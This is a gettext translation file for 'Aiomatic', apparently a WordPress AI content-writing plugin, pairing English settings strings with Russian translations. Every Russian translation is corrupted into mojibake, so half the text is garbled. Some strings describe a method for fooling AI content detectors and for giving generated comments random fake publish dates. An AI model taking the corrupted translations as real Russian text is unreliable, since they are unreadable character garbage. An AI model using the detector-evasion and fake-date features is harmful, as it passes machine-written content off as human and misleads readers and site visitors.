res/aiomatic-spinner-list.php:1184 msgid "" "Do you want to disable automatically editing of content longer than this " "character count?" msgstr "" "Хотите отключить автоматичеÑкое редактирование контента, длина которого " "превышает указанное количеÑтво Ñимволов?" #: res/aiomatic-spinner-list.php:4000 msgid "" "Do you want to disable automatically editing of WordPress 'custom post " "types'?" msgstr "" "Ð’Ñ‹ хотите отключить автоматичеÑкое редактирование «пользовательÑких Типов " "запиÑей» WordPress?" #: res/aiomatic-spinner-list.php:3984 msgid "Do you want to disable automatically editing of WordPress 'pages'?" msgstr "Ð’Ñ‹ хотите отключить автоматичеÑкое редактирование «Ñтраниц» WordPress?" #: res/aiomatic-spinner-list.php:3968 msgid "Do you want to disable automatically editing of WordPress 'posts'?" msgstr "Ð’Ñ‹ хотите отключить автоматичеÑкое редактирование «ПоÑтов» WordPress?" #: res/aiomatic-spinner-list.php:4029 msgid "Do you want to disable automatically editing of WordPress categories?" msgstr "Ð’Ñ‹ хотите отключить автоматичеÑкое редактирование категорий WordPress?" #: res/aiomatic-main.php:7556 msgid "" "Do you want to disable the AI content detector fooling method of the plugin? " "This will leave the AI content as it is, in an unchanged form." msgstr "" "Ð’Ñ‹ хотите отключить метод обмана детектора контента AI в плагине? Это " "оÑтавит контент AI таким, какой он еÑÑ‚ÑŒ, в неизменной форме." #: res/aiomatic-main.php:7600 msgid "Do you want to disable the Media Library extension of the plugin?" msgstr "Ð’Ñ‹ хотите отключить раÑширение медиатеки Плагина?" #: res/aiomatic-main.php:4129 msgid "Do you want to enable Aiomatic's WP-CLI Integration?" msgstr "Хотите включить интеграцию WP-CLI Aiomatic?" #: res/aiomatic-main.php:7987 msgid "Do you want to enable broad search for royalty free images?" msgstr "Хотите включить широкий поиÑк изображений без роÑлти?" #: aiomatic-automation.php:1161 res/aiomatic-amazon-list.php:2012 #: res/aiomatic-amazon-list.php:4621 res/aiomatic-csv-list.php:476 #: res/aiomatic-csv-list.php:1641 res/aiomatic-review-list.php:2081 #: res/aiomatic-review-list.php:4774 res/aiomatic-rules-list.php:2210 #: res/aiomatic-rules-list.php:5010 res/aiomatic-youtube-list.php:1983 #: res/aiomatic-youtube-list.php:4549 msgid "Do you want to enable comments for the generated posts?" msgstr "Ð’Ñ‹ хотите включить комментарAI Ð´Ð»Ñ Ñгенерированных ПоÑтов?" #: res/aiomatic-main.php:7346 msgid "" "Do you want to enable detailed logging for rules? Note that this will " "dramatically increase the size of the log this plugin generates." msgstr "" "Ð’Ñ‹ хотите включить подробное ведение журнала Ð´Ð»Ñ Ð¿Ñ€Ð°Ð²Ð¸Ð»? Обратите внимание, " "что Ñто значительно увеличит размер журнала, Ñоздаваемого Ñтим Плагином." #: res/aiomatic-limits-statistics.php:1064 #| msgid "Do you want to enable usage limits?" msgid "Do you want to enable global usage limits?" msgstr "Ð’Ñ‹ хотите включить глобальные Ð¾Ð³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð½Ð° иÑпользование?" #: res/aiomatic-main.php:7327 msgid "Do you want to enable logging for rules?" msgstr "Ð’Ñ‹ хотите включить ведение журнала Ð´Ð»Ñ Ð¿Ñ€Ð°Ð²Ð¸Ð»?" #: res/aiomatic-main.php:2493 msgid "" "Do you want to enable OmniBlocks webhook functionality? This will enable the " "Webhook OmniBlock type to automatically recieve requests from external " "sources, using a speicific webhook URL." msgstr "" "Ð’Ñ‹ хотите включить функцию веб-хуков OmniBlocks? Это позволит типу Webhook " "OmniBlock автоматичеÑки получать запроÑÑ‹ из внешних иÑточников, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ " "Ñпециальный URL webhook." #: res/aiomatic-main.php:3031 #| msgid "Do you want to disable the AI assistant feature of the plugin?" msgid "" "Do you want to enable or disable the AI assistant feature of the plugin?" msgstr "Ð’Ñ‹ хотите отключить функцию AI-ÐÑÑиÑтента Плагина?" #: res/aiomatic-amazon-list.php:4637 res/aiomatic-csv-list.php:1657 #: res/aiomatic-review-list.php:4790 res/aiomatic-rules-list.php:5026 #: res/aiomatic-youtube-list.php:4565 msgid "Do you want to enable pingbacks and trackbacks for the generated posts?" msgstr "Ð’Ñ‹ хотите включить пингбеки и трекбеки Ð´Ð»Ñ Ñгенерированных поÑтов?" #: aiomatic-automation.php:1167 res/aiomatic-amazon-list.php:2027 #: res/aiomatic-csv-list.php:491 res/aiomatic-review-list.php:2096 #: res/aiomatic-rules-list.php:2225 res/aiomatic-youtube-list.php:1998 msgid "Do you want to enable pingbacks/trackbacks for the generated posts?" msgstr "Ð’Ñ‹ хотите включить pingbacks / trackbacks Ð´Ð»Ñ Ñгенерированных ПоÑтов?" #: res/aiomatic-main.php:7578 msgid "Do you want to enable swear word filtering for created content?" msgstr "" "Ð’Ñ‹ хотите включить фильтрацию нецензурных Ñлов Ð´Ð»Ñ Ñозданного Контента?" #: res/aiomatic-limits-statistics.php:792 msgid "Do you want to enable text-to-speech usage limits?" msgstr "" "Ð’Ñ‹ хотите включить Ð¾Ð³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð½Ð° иÑпользование Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚ÐµÐºÑта в речь?" #: res/aiomatic-amazon-list.php:1647 res/aiomatic-amazon-list.php:4210 #: res/aiomatic-review-list.php:1716 res/aiomatic-review-list.php:4363 #: res/aiomatic-rules-list.php:1845 res/aiomatic-rules-list.php:4599 #: res/aiomatic-single-list.php:2313 res/aiomatic-single-list.php:3063 #: res/aiomatic-single-list.php:4316 res/aiomatic-single-list.php:5630 #: res/aiomatic-single-list.php:6996 res/aiomatic-youtube-list.php:1603 #: res/aiomatic-youtube-list.php:4121 msgid "" "Do you want to enable the AI Image Generator and to replace Royalty Free " "Images with AI generated images? If you select 'Default Featured Image List'," " you can add the image URLs in the 'Default Featured Image List' settings " "field." msgstr "" "Хотите включить генератор изображений AI и заменить Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ñ€Ð¾Ñлти-фри " "изображениÑми, Ñозданными AI? ЕÑли вы выберете «СпиÑок избранных изображений " "по умолчанию», вы можете добавить URL-адреÑа изображений в поле наÑтроек " "«СпиÑок избранных изображений по умолчанию»." #: res/aiomatic-limits-statistics.php:1488 msgid "" "Do you want to enable this plugin? You can deactivate any rule (you don't " "have to delete them to deactivate them)." msgstr "" "Ð’Ñ‹ хотите включить Ñтот Плагин? Ð’Ñ‹ можете деактивировать любое правило (вам " "не нужно удалÑÑ‚ÑŒ их, чтобы деактивировать)." #: res/aiomatic-amazon-list.php:278 res/aiomatic-automation-list.php:2599 #: res/aiomatic-csv-list.php:140 res/aiomatic-review-list.php:278 #: res/aiomatic-rules-list.php:288 res/aiomatic-youtube-list.php:278 msgid "" "Do you want to enable this rule? You can deactivate any rule (you don't have " "to delete them to deactivate them)." msgstr "" "Ð’Ñ‹ хотите включить Ñто правило? Ð’Ñ‹ можете деактивировать любое правило (вам " "не нужно удалÑÑ‚ÑŒ их, чтобы деактивировать их)." #: res/aiomatic-main.php:3008 msgid "Do you want to enable usage tracking for statistics and usage limits?" msgstr "" "Ð’Ñ‹ хотите включить отÑлеживание иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð´Ð»Ñ ÑтатиÑтики и лимитов " "иÑпользованиÑ?" #: res/aiomatic-main.php:8006 msgid "" "Do you want to not skip importing the aritcle if no royalty free image found " "for the post?" msgstr "" "Ð’Ñ‹ хотите не пропуÑтить импорт Ñтатьи, еÑли Ð´Ð»Ñ Ð¿Ð¾Ñта не найдено изображение " "без лицензионных отчиÑлений?" #: res/aiomatic-main.php:6222 res/aiomatic-main.php:6244 msgid "Do you want to not spin title (only content)?" msgstr "Хотите не вращать заголовок (только контент)?" #: res/aiomatic-spinner-list.php:1230 msgid "" "Do you want to protect HTML tags in edited text? This will add to the prompt " "you enter, a phrase which specifies to protect HTML tags from the edited " "text." msgstr "" "Ð’Ñ‹ хотите защитить теги HTML в редактируемом текÑте? Это добавит к " "введенному вами Промпту фразу, указывающую на необходимоÑÑ‚ÑŒ защиты HTML-" "тегов от редактируемого текÑта." #: res/aiomatic-csv-list.php:267 res/aiomatic-csv-list.php:1394 #: res/aiomatic-single-list.php:1177 msgid "" "Do you want to randomize CSV row processing order or do you want to process " "the lines in their order of appearence?" msgstr "" "Хотите ли вы рандомизировать порÑдок обработки Ñтрок CSV или обрабатывать " "Ñтроки в порÑдке их поÑвлениÑ?" #: res/aiomatic-main.php:6105 res/aiomatic-main.php:6183 msgid "" "Do you want to randomize text by changing words of a text with synonyms " "using one of the listed methods? Note that this is an experimental feature " "and can in some instances drastically increase the rule running time!" msgstr "" "Ð’Ñ‹ хотите рандомизировать текÑÑ‚, менÑÑ Ñлова текÑта Ñинонимами, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ " "один из перечиÑленных методов? Обратите внимание, что Ñто ÑкÑÐ¿ÐµÑ€Ð¸Ð¼ÐµÐ½Ñ‚Ð°Ð»ÑŒÐ½Ð°Ñ " "функциÑ, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð¼Ð¾Ð¶ÐµÑ‚ в некоторых ÑлучаÑÑ… значительно увеличить Ð²Ñ€ÐµÐ¼Ñ " "Ð²Ñ‹Ð¿Ð¾Ð»Ð½ÐµÐ½Ð¸Ñ Ð¿Ñ€Ð°Ð²Ð¸Ð»Ð°!" #: res/aiomatic-spinner-list.php:2000 msgid "" "Do you want to replace the royalty free image with an AI generated image?" msgstr "Ð’Ñ‹ хотите заменить беÑплатное изображение изображением, Ñозданным AI?" #: res/aiomatic-spinner-list.php:1051 msgid "Do you want to rewrite also post URL with the modified title?" msgstr "Ð’Ñ‹ хотите также перепиÑать URL публикации Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð½Ñ‹Ð¼ заголовком?" #: res/aiomatic-main.php:6869 msgid "" "Do you want to rewrite content using AI before sending it to the embedding?" msgstr "Хотите перепиÑать Контент Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ AI перед отправкой во Ð’Ñтраивание?" #: res/aiomatic-main.php:6888 #, php-format msgid "" "Do you want to rewrite content using AI before sending it to the embedding? " "This will rewrite the %%post_content%% in the 'Embedding Template' settings " "field - so be sure to use the %%post_content%% shortcode in the 'Embedding " "Template' settings field, if you are wanting to optimize the content for it " "using this feature. You can use the following shortcodes: %%post_title%%, " "%%post_content%%, %%post_excerpt%%, %%post_url%%, %%post_id%%. The default " "value of this field is: Revise the given content concisely, preserving its " "style and information, while ensuring the revised text stays within 300 " "words. Each paragraph should range between 60 to 120 words. Exclude non-" "textual elements and unnecessary repetition. Conclude with a statement " "directing readers to find more information at %%post_url%%. If these " "guidelines cannot be met, send an empty response. The content is as follows: " "%%post_content%%" msgstr "" "Хотите перепиÑать контент Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ AI перед отправкой во Ð’Ñтраивание? Это " "перепишет %%post_content%% в Поле ÐаÑтроек 'Шаблон внедрениÑ', поÑтому " "обÑзательно иÑпользуйте шорткод %%post_content%% в Поле ÐаÑтроек 'Шаблон " "внедрениÑ', еÑли вы хотите оптимизировать Контент Ð´Ð»Ñ Ð½ÐµÐ³Ð¾ Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ Ñтой " "оÑобенноÑти. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%post_title%%, " "%%post_content%%, %%post_excerpt%%, %%post_url%%, %%post_id%%. Значение по " "умолчанию Ð´Ð»Ñ Ñтого полÑ:Revise the given content concisely, preserving its " "style and information, while ensuring the revised text stays within 300 " "words. Каждый абзац должен Ñодержать от 60 до 120 Ñлов. ИÑключите " "нетекÑтовые Ñлементы и ненужные повторы. Завершите заÑвлением, предлагающим " "читателÑм найти дополнительную информацию по адреÑу %%post_url%%. ЕÑли Ñти " "рекомендации не могут быть Ñоблюдены, отправьте пуÑтой ответ. Содержание " "выглÑдит Ñледующим образом: %%post_content%%" #: res/aiomatic-embeddings.php:212 res/aiomatic-spinner-list.php:4108 msgid "" "Do you want to run manual post editing, now? Please check configuration from " "below before clicking 'Run Post Editing'." msgstr "" "Ð’Ñ‹ хотите запуÑтить ручное редактирование ПоÑтов прÑмо ÑейчаÑ? ПожалуйÑта, " "проверьте конфигурацию ниже, прежде чем нажимать «Выполнить редактирование " "ПоÑтов»." #: res/aiomatic-main.php:5459 msgid "" "Do you want to run manual writing of description for existing taxonomies, " "now? Please check configuration from below before clicking 'Run Taxonomy " "Desciption Writing'." msgstr "" "Хотите ли вы прÑмо ÑÐµÐ¹Ñ‡Ð°Ñ Ð²Ñ€ÑƒÑ‡Ð½ÑƒÑŽ напиÑать опиÑание Ð´Ð»Ñ ÑущеÑтвующих " "такÑономий? ПожалуйÑта, проверьте конфигурацию ниже, прежде чем нажимать " "«ЗапуÑтить ЗапиÑÑŒ ОпиÑÐ°Ð½Ð¸Ñ Ð¢Ð°ÐºÑономии»." #: res/aiomatic-amazon-list.php:300 res/aiomatic-automation-list.php:2621 #: res/aiomatic-csv-list.php:162 res/aiomatic-review-list.php:300 #: res/aiomatic-rules-list.php:310 res/aiomatic-youtube-list.php:300 msgid "" "Do you want to run this rule now? Note that only one instance of a rule is " "allowed at once." msgstr "" "Ð’Ñ‹ хотите запуÑтить Ñто правило ÑейчаÑ? Обратите внимание, что только один " "ÑкземплÑÑ€ правила разрешен одновременно." #: aiomatic-automation.php:263 aiomatic-automation.php:333 #, php-format msgid "" "Do you want to scrape each link and extract readable content from them? Note " "that this feature will add the scraped data into the %%item_scraped_data%% " "variable, be sure to use it in the template above!" msgstr "" "Ð’Ñ‹ хотите ÑпарÑить каждую ÑÑылку и извлечь из них читабельный контент? " "Обратите внимание, что Ñта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð´Ð¾Ð±Ð°Ð²Ð¸Ñ‚ Ñпаршенные данные в переменную " "%%item_scraped_data%%, не забудьте иÑпользовать ее в шаблоне выше!" #: res/aiomatic-spinner-list.php:2764 msgid "" "Do you want to set a custom comment publish date for created comments? You " "can input 2 dates, minimum and maximum date - the plugin will select a " "random date from the specified interval, for each new comment created. Set " "the range in the below field." msgstr "" "Хотите уÑтановить пользовательÑкую дату публикации комментариев Ð´Ð»Ñ " "Ñозданных комментариев? Ð’Ñ‹ можете ввеÑти 2 даты, минимальную и макÑимальную -" " плагин будет выбирать Ñлучайную дату из указанного интервала Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾ " "Ñозданного комментариÑ. Задайте диапазон в поле ниже." #: aiomatic-automation.php:1173 msgid "Do you want to set a custom post publish date for posts?" msgstr "Хотите уÑтановить Ð´Ð»Ñ Ð¿Ð¾Ñтов произвольную дату публикации?" #: res/aiomatic-amazon-list.php:2042 res/aiomatic-amazon-list.php:4653 #: res/aiomatic-csv-list.php:506 res/aiomatic-csv-list.php:1673 #: res/aiomatic-review-list.php:2111 res/aiomatic-review-list.php:4806 #: res/aiomatic-rules-list.php:2240 res/aiomatic-rules-list.php:5042 #: res/aiomatic-youtube-list.php:2013 res/aiomatic-youtube-list.php:4581 msgid "" "Do you want to set a custom post publish date for posts? Set the range in " "the below field." msgstr "" "Ð’Ñ‹ хотите уÑтановить пользовательÑкую дату публикации Ð´Ð»Ñ ÐŸÐ¾Ñтов? УÑтановите " "диапазон в поле ниже." #: aiomatic-automation.php:1174 msgid "" "Do you want to set a custom post publish date for posts? Set the range in " "the below field. You can set dates in the following format (a random date " "will be selected from the range): date1 ~ date2. If you don't use the ~ " "character, the date will be considered as a single date string." msgstr "" "Ð’Ñ‹ хотите уÑтановить пользовательÑкую дату публикации поÑтов? Задайте " "диапазон в поле ниже. Ð’Ñ‹ можете задать дату в Ñледующем формате (ÑÐ»ÑƒÑ‡Ð°Ð¹Ð½Ð°Ñ " "дата будет выбрана из диапазона): date1 ~ date2. ЕÑли вы не иÑпользуете " "Ñимвол ~, дата будет раÑÑматриватьÑÑ ÐºÐ°Ðº одна Ñтрока даты." #: res/aiomatic-amazon-list.php:1610 res/aiomatic-review-list.php:1679 #: res/aiomatic-rules-list.php:1812 res/aiomatic-youtube-list.php:1566 msgid "" "Do you want to set a featured image for the created post (royalty free or AI " "generated)? Please note that for this feature to function you must configure " "the plugin (add API keys) in the plugin's 'Main Settings' menu -> 'Royalty " "Free Featured Image Importing Options' section." msgstr "" "Ð’Ñ‹ хотите уÑтановить избранное изображение Ð´Ð»Ñ Ñозданного ПоÑта (без " "лицензионных отчиÑлений или Ñгенерированное AI)? Обратите внимание, что Ð´Ð»Ñ " "работы Ñтой функции необходимо наÑтроить Плагин (добавить ключи API) в меню " "Плагина «ОÑновные ÐаÑтройки» -> Раздел «Параметры импорта избранных " "изображений без лицензионных отчиÑлений»." #: res/aiomatic-amazon-list.php:4159 res/aiomatic-review-list.php:4312 #: res/aiomatic-rules-list.php:4560 res/aiomatic-youtube-list.php:4070 msgid "" "Do you want to set a featured image for the created post (royalty free or AI " "generated)? Please note that for this feature to function you must configure " "the plugin (add API keys) in the plugin\\'s \\'Main Settings\\' menu -> " "\\'Royalty Free Featured Image Importing Options\\' section." msgstr "" "Ð’Ñ‹ хотите уÑтановить избранное изображение Ð´Ð»Ñ Ñозданного ПоÑта (без " "лицензионных отчиÑлений или Ñгенерированное AI)? Обратите внимание, что Ð´Ð»Ñ " "работы Ñтой функции необходимо наÑтроить Плагин (добавить ключи API) в меню " "Плагина \\'ОÑновные ÐаÑтройки\\' -> Раздел \\'Параметры импорта избранных " "изображений без лицензионных отчиÑлений\\'." #: res/aiomatic-amazon-list.php:445 res/aiomatic-single-list.php:4653 msgid "" "Do you want to set a maximum price for the imported item? Price is in " "pennies: 1000 is 10$." msgstr "" "Хотите уÑтановить макÑимальную цену на импортируемый товар? Цена указана в " "пенни: 1000 Ñто 10$." #: res/aiomatic-amazon-list.php:3027 msgid "" "Do you want to set a maximum price for the imported items? Price is in " "pennies: 1000 is 10$." msgstr "" "Хотите уÑтановить макÑимальную цену на импортируемые товары? Цена указана в " "пенни: 1000 Ñто 10$." #: res/aiomatic-amazon-list.php:429 res/aiomatic-single-list.php:4637 msgid "" "Do you want to set a minimum price for the imported item? Price is in " "pennies: 1000 is 10$." msgstr "" "Хотите уÑтановить минимальную цену на импортируемый товар? Цена указана в " "пенни: 1000 Ñто 10$." #: res/aiomatic-amazon-list.php:3016 msgid "" "Do you want to set a minimum price for the imported items? Price is in " "pennies: 1000 is 10$." msgstr "" "Хотите уÑтановить минимальную цену на импортируемые товары? Цена указана в " "пенни: 1000 Ñто 10$." #: res/aiomatic-spinner-list.php:1087 msgid "Do you want to skip post content editing?" msgstr "Ð’Ñ‹ хотите пропуÑтить редактирование Контента публикации?" #: res/aiomatic-spinner-list.php:1123 msgid "Do you want to skip post excerpt editing?" msgstr "Ð’Ñ‹ хотите пропуÑтить Редактирование ÐнонÑа ПоÑта?" #: res/aiomatic-spinner-list.php:1033 msgid "Do you want to skip post title editing?" msgstr "Ð’Ñ‹ хотите пропуÑтить редактирование заголовка ПоÑта?" #: res/aiomatic-amazon-list.php:1807 res/aiomatic-amazon-list.php:4376 #: res/aiomatic-csv-list.php:241 res/aiomatic-csv-list.php:1362 #: res/aiomatic-review-list.php:1876 res/aiomatic-review-list.php:4529 #: res/aiomatic-rules-list.php:2005 res/aiomatic-rules-list.php:4765 #: res/aiomatic-single-list.php:1151 res/aiomatic-single-list.php:2454 #: res/aiomatic-single-list.php:3204 res/aiomatic-single-list.php:4457 #: res/aiomatic-single-list.php:5771 res/aiomatic-single-list.php:7137 #: res/aiomatic-youtube-list.php:1763 res/aiomatic-youtube-list.php:4287 msgid "Do you want to skip spinning of posts generated by this rule?" msgstr "Ð’Ñ‹ хотите пропуÑтить вращение ПоÑтов, Ñозданных Ñтим правилом?" #: res/aiomatic-amazon-list.php:1819 res/aiomatic-amazon-list.php:4392 #: res/aiomatic-csv-list.php:253 res/aiomatic-csv-list.php:1378 #: res/aiomatic-review-list.php:1888 res/aiomatic-review-list.php:4545 #: res/aiomatic-rules-list.php:2017 res/aiomatic-rules-list.php:4781 #: res/aiomatic-single-list.php:1163 res/aiomatic-single-list.php:2466 #: res/aiomatic-single-list.php:3216 res/aiomatic-single-list.php:4469 #: res/aiomatic-single-list.php:5783 res/aiomatic-single-list.php:7149 #: res/aiomatic-youtube-list.php:1775 res/aiomatic-youtube-list.php:4303 msgid "Do you want to skip translating of posts generated by this rule?" msgstr "Ð’Ñ‹ хотите пропуÑтить перевод ПоÑтов, Ñгенерированных Ñтим правилом?" #: res/aiomatic-main.php:7456 msgid "" "Do you want to use the above proxies also when accessing OpenAI API? " "Otherwise, they will be used for Amazon product scraping / image downloading " "only." msgstr "" "Хотите ли вы иÑпользовать вышеуказанные прокÑи-Ñерверы также при доÑтупе к " "OpenAI API? Ð’ противном Ñлучае они будут иÑпользоватьÑÑ Ñ‚Ð¾Ð»ÑŒÐºÐ¾ Ð´Ð»Ñ Ð¾Ñ‡Ð¸Ñтки " "продуктов Amazon/загрузки изображений." #: res/aiomatic-logs.php:383 msgid "Document root" msgstr "Корень документа" #: res/aiomatic-amazon-list.php:115 res/aiomatic-review-list.php:115 #: res/aiomatic-rules-list.php:115 res/aiomatic-single-list.php:115 #: res/aiomatic-single-list.php:253 res/aiomatic-youtube-list.php:115 msgid "Dogri" msgstr "Догри" #: res/aiomatic-languages.php:116 msgid "Dogri (Google Translate)" msgstr "Догри (Переводчик Google)" #: res/aiomatic-chatbot.php:4316 msgid "Domain List Allowed To Embed Chatbots:" msgstr "СпиÑок доменов, в которые разрешено вÑтраивать чат-боты:" #: res/aiomatic-logs.php:329 msgid "DOMDocument" msgstr "DOMДокумент" #: res/aiomatic-logs.php:330 msgid "" "DOMDocument is required for the Fusion Builder plugin to properly function." msgstr "" "DOMDocument требуетÑÑ Ð´Ð»Ñ Ð¿Ñ€Ð°Ð²Ð¸Ð»ÑŒÐ½Ð¾Ð¹ работы подключаемого Ð¼Ð¾Ð´ÑƒÐ»Ñ Fusion " "Builder." #: res/aiomatic-logs.php:329 msgid "DOMDocument:" msgstr "DOMДокумент:" #: res/aiomatic-amazon-list.php:3220 res/aiomatic-review-list.php:3205 msgid "Don't Add Product Links to Headings" msgstr "Ðе добавлÑйте ÑÑылки на товары в заголовки" #: res/aiomatic-amazon-list.php:592 res/aiomatic-review-list.php:519 #: res/aiomatic-single-list.php:4800 res/aiomatic-single-list.php:6024 msgid "Don't Add Product Links to Headings:" msgstr "Ðе добавлÑйте ÑÑылки на товары в заголовки:" #: res/aiomatic-amazon-list.php:549 res/aiomatic-amazon-list.php:3181 #: res/aiomatic-review-list.php:476 res/aiomatic-review-list.php:3166 #: res/aiomatic-rules-list.php:482 res/aiomatic-rules-list.php:3333 #: res/aiomatic-single-list.php:1435 res/aiomatic-single-list.php:3423 #: res/aiomatic-single-list.php:4757 res/aiomatic-single-list.php:5981 #: res/aiomatic-youtube-list.php:485 res/aiomatic-youtube-list.php:3066 msgid "Don't Add Sections" msgstr "Ðе добавлÑÑ‚ÑŒ Разделы" #: res/aiomatic-main.php:2927 msgid "Don't Attempt To Translate AI Image Prompts To English:" msgstr "Ðе пытайтеÑÑŒ переводить Промпты Изображений AI на английÑкий Ñзык:" #: res/aiomatic-limits-statistics.php:166 #: res/aiomatic-limits-statistics.php:201 #: res/aiomatic-limits-statistics.php:1568 #: res/aiomatic-limits-statistics.php:1597 msgid "Don't check" msgstr "Ðе проверÑÑ‚ÑŒ" #: res/aiomatic-main.php:6095 msgid "Don't have an 'ChimpRewriter' account yet? Click here to get one:" msgstr "" "У Ð²Ð°Ñ ÐµÑ‰Ðµ нет учетной запиÑи «ChimpRewriter»? Ðажмите здеÑÑŒ, чтобы получить " "один:" #: res/aiomatic-main.php:6092 msgid "Don't have an 'ContentProfessor' account yet? Click here to get one:" msgstr "" "У Ð²Ð°Ñ ÐµÑ‰Ðµ нет учетной запиÑи ContentProfessor? Ðажмите здеÑÑŒ, чтобы получить " "один:" #: res/aiomatic-main.php:6089 msgid "Don't have an 'SpinnerChief' account yet? Click here to get one:" msgstr "" "У Ð²Ð°Ñ ÐµÑ‰Ðµ нет учетной запиÑи SpinnerChief? Щелкните здеÑÑŒ, чтобы получить:" #: res/aiomatic-main.php:6086 msgid "Don't have an 'SpinRewriter' account yet? Click here to get one:" msgstr "" "У Ð²Ð°Ñ ÐµÑ‰Ðµ нет учетной запиÑи SpinRewriter? Ðажмите здеÑÑŒ, чтобы получить " "один:" #: res/aiomatic-main.php:6080 msgid "Don't have an 'The Best Spinner' account yet? Click here to get one:" msgstr "" "У Ð²Ð°Ñ ÐµÑ‰Ðµ нет аккаунта «Лучший Ñпиннер»? Ðажмите здеÑÑŒ, чтобы получить один:" #: res/aiomatic-main.php:6083 msgid "Don't have an 'WordAI' account yet? Click here to get one:" msgstr "" "У Ð²Ð°Ñ ÐµÑ‰Ðµ нет учетной запиÑи WordAI? Ðажмите здеÑÑŒ, чтобы получить один:" #: res/aiomatic-main.php:9147 msgid "Don't Open Links In A New Tab:" msgstr "Ðе открывайте ÑÑылки в новой вкладке:" #: res/aiomatic-spinner-list.php:4293 msgid "Don't Process Same Post Twice:" msgstr "Ðе обрабатывать один и тот же ПоÑÑ‚ дважды:" #: res/aiomatic-main.php:7691 msgid "Don't Send Maximum Tokens In API Request (Experimental):" msgstr "" "Ðе отправлÑÑ‚ÑŒ макÑимальное количеÑтво токенов в запроÑе API " "(ÑкÑпериментальный):" #: res/other/plugin-dash.php:91 res/other/plugin-dash.php:197 msgid "Don't show this widget" msgstr "Ðе показывать Ñтот виджет" #: res/aiomatic-main.php:7560 msgid "Don't Try To Fool AI Detectors (Disable Content Tricks):" msgstr "" "Ðе пытайтеÑÑŒ обмануть детекторы иÑкуÑÑтвенного интеллекта (отключите трюки Ñ " "контентом):" #: res/aiomatic-main.php:7731 msgid "Don't Use !important In Generated CSS For Shortcodes:" msgstr "Ðе иÑпользуйте !important в Ñгенерированном CSS Ð´Ð»Ñ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ð¾Ð²:" #: aiomatic-ajax-actions.php:8075 #: aiomatic-automatic-ai-content-writer.php:13104 #: aiomatic-automatic-ai-content-writer.php:14038 #: aiomatic-shortcodes-file.php:552 res/admin/ai-post-gutenberg.php:110 #: res/admin/ai-post.php:104 res/aiomatic-amazon-list.php:368 #: res/aiomatic-amazon-list.php:2970 res/aiomatic-automation-list.php:467 #: res/aiomatic-automation-list.php:1406 res/aiomatic-automation-list.php:2934 #: res/aiomatic-automation-list.php:3873 res/aiomatic-automation-list.php:5686 #: res/aiomatic-automation-list.php:6630 res/aiomatic-chatbot.php:913 #: res/aiomatic-chatbot.php:4364 res/aiomatic-main.php:3235 #: res/aiomatic-main.php:3762 res/aiomatic-main.php:4055 #: res/aiomatic-main.php:4181 res/aiomatic-main.php:5060 #: res/aiomatic-main.php:5159 res/aiomatic-main.php:5288 #: res/aiomatic-main.php:5518 res/aiomatic-main.php:5621 #: res/aiomatic-main.php:6929 res/aiomatic-main.php:7082 #: res/aiomatic-review-list.php:368 res/aiomatic-review-list.php:3047 #: res/aiomatic-rules-list.php:383 res/aiomatic-rules-list.php:3209 #: res/aiomatic-shortcodes.php:272 res/aiomatic-single-list.php:819 #: res/aiomatic-single-list.php:1351 res/aiomatic-single-list.php:2554 #: res/aiomatic-single-list.php:3306 res/aiomatic-single-list.php:4576 #: res/aiomatic-single-list.php:5873 res/aiomatic-spinner-list.php:965 #: res/aiomatic-spinner-list.php:1684 res/aiomatic-spinner-list.php:1917 #: res/aiomatic-spinner-list.php:2284 res/aiomatic-spinner-list.php:2459 #: res/aiomatic-spinner-list.php:2632 res/aiomatic-spinner-list.php:2851 #: res/aiomatic-youtube-list.php:368 res/aiomatic-youtube-list.php:2937 msgid "Don't use assistants, use AI models instead" msgstr "" "Ðе иÑпользуйте аÑÑиÑтентов, вмеÑто Ñтого иÑпользуйте модели иÑкуÑÑтвенного " "интеллекта" #: res/aiomatic-main.php:7711 msgid "" "Don't Use Jobs In The Advanced Mode Single AI Post Creator (Experimental):" msgstr "" "Ðе иÑпользуйте Ð·Ð°Ð´Ð°Ð½Ð¸Ñ Ð² раÑширенном режиме AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ ÐžÐ´Ð¸Ð½Ð¾Ñ‡Ð½Ð¾Ð³Ð¾ ПоÑта " "(ÑкÑпериментальный):" #: aiomatic-automatic-ai-content-writer.php:1665 #: aiomatic-automatic-ai-content-writer.php:1693 msgid "Done!" msgstr "Сделанный!" #: res/aiomatic-chatbot.php:5103 msgid "Download All Conversations" msgstr "Скачать вÑе разговоры" #: res/aiomatic-shortcodes.php:448 msgid "Download Current Forms To File:" msgstr "Скачать Текущие Формы в файл:" #: res/aiomatic-training.php:202 msgid "Download Data" msgstr "Скачать Данные" #: res/other/plugin-dash.php:437 msgid "Download Now" msgstr "Загрузить ÑейчаÑ" #: res/other/plugin-dash.php:472 msgid "Download the plugin here" msgstr "Загрузите Плагин здеÑÑŒ" #: res/aiomatic-embeddings.php:82 msgid "Download to CSV" msgstr "Скачать в CSV" #: res/aiomatic-single-list.php:541 res/aiomatic-single-list.php:7327 #: res/aiomatic-spinner-list.php:3847 msgid "Draft" msgstr "Проект" #: aiomatic-automatic-ai-content-writer.php:13299 #: aiomatic-automatic-ai-content-writer.php:14182 #: res/aiomatic-amazon-list.php:1926 res/aiomatic-amazon-list.php:4505 #: res/aiomatic-automation-list.php:661 